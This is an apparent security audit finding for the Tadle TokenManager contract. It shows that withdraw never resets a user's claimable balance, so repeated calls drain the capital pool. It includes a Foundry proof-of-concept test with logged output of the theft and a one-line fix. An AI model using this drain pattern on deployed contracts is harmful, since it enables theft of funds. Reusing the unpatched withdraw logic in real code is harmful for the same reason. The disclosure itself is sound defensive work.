Summary
attacker can steal funds of pool
Vulnerability Details
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L189
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
As can be seen, the vulnerability is that the mapping userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType]
never decreases the amount. Hence, a malicious user can drain the pool
This is an example of how an attacker can steal funds
First, in the setup, add these lines of code
vm.startPrank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPoolProxy.call(abi.encodeWithSelector(
APPROVE_SELECTOR,
mockUSDCToken
));
Then, we create a test and run forge test -vv
function test_drain_pool() public {
vm.startPrank(attacker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
console2.log("balance before attacker:",MockERC20Token(mockUSDCToken).balanceOf(attacker));
uint256 beforeAttacker = MockERC20Token(mockUSDCToken).balanceOf(attacker);
console2.log("capitalPool before:",MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool)));
uint256 before = MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool));
console2.log("attacker:");
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
console2.log("balance after attacker:",MockERC20Token(mockUSDCToken).balanceOf(attacker));
uint256 afterAttacker = MockERC20Token(mockUSDCToken).balanceOf(attacker);
console2.log("capitalPool after :",MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool)));
console2.log("userTokenBalanceMap:",tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken),TokenBalanceType.MakerRefund));
uint256 after1 = MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool));
console2.log("loss fund capitalPool :",before-after1);
console2.log("win fund attacker :",afterAttacker - beforeAttacker);
vm.stopPrank();
}
the resul is
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_drain_pool() (gas: 1116396)
Logs:
balance before attacker: 99999999975625000000000000
capitalPool before: 24375000000000000
attacker:
balance after attacker: 99999999997225000000000000
capitalPool after : 2775000000000000
userTokenBalanceMap: 7200000000000000
loss fund capitalPool : 21600000000000000
win fund attacker : 21600000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.33ms (1.99ms CPU time)
Impact
attacker can steal funds of pool
Tools Used
manual review
Recommendations
add userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType]
= 0; in the function withdraw
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType];
+++++++ userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType] = 0;
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}